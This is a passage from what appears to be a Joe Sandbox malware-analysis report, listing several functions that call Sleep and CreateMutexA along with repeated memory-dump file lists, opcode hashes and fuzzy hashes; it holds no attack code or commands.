CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c45ad67132d543f3136c4a19973504386779bf21d7cd3893ea875d5a138749f1
Instruction ID: a520d66fda6f3461ad4e086910415955103a8e2a92960d2dfd038b311142d790
Opcode Fuzzy Hash: c45ad67132d543f3136c4a19973504386779bf21d7cd3893ea875d5a138749f1
Instruction Fuzzy Hash: F83126717042009BEF0CEB7CDDC9B6EB7E2AB96310F20821DE4159B3D5C77989808791

Function 00A99F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1c4451f91601b278c714756498e2a8736303dcc7aa3eff4624cbb39259cc8bef
Instruction ID: e7e5ea3cf813ba32e2071ed7d5e193bcb767ddded4d21e181fb415fce2509dbd
Opcode Fuzzy Hash: 1c4451f91601b278c714756498e2a8736303dcc7aa3eff4624cbb39259cc8bef
Instruction Fuzzy Hash: 053124317102449BEF0CDB7CDD99BADF7E2EB96310F208619E41ADB2D5C73689808792

Function 00A9A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4a1c84a8a53effad76684c9b1101c16b422212ce543a1681287610b8ed80c782
Instruction ID: 033cd7d18c37199d91588ef256b036c8f4d7c67ee5db59f7419963682309dd8b
Opcode Fuzzy Hash: 4a1c84a8a53effad76684c9b1101c16b422212ce543a1681287610b8ed80c782
Instruction Fuzzy Hash: E0314A317102409BEF0CDB78CD89B6DB7B2EBA1310F20831AE4159B3D5C7369980C696

Function 00A9A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f35c1611ea9a7b0946a57f494267e60cb26efbd520c4f673233cdb5c7378a050
Instruction ID: d8a0b782a66270b3263df96f8128929ef13755875d6c1dcd94719afdd28a9515
Opcode Fuzzy Hash: f35c1611ea9a7b0946a57f494267e60cb26efbd520c4f673233cdb5c7378a050
Instruction Fuzzy Hash: EB314C317001409BEF0CDBB8DD8DBADB7B2EBA6310F20821AE4149B3D5C73549C08792

Function 00A9A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9482c799e1abae32d3c35bb18f267ac21fcefaf396ca86b90b8543083ee6d49c
Instruction ID: 1e4349946c083a5b84d9dd33f8782455c6109ab7656d50bed14d41c40aeb8134
Opcode Fuzzy Hash: 9482c799e1abae32d3c35bb18f267ac21fcefaf396ca86b90b8543083ee6d49c
Instruction Fuzzy Hash: 943148317542009BEF0CDBB8DD8DB6DB7B2EFE2310F20821AE4159B3D5CB7589808696

Function 00A9A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
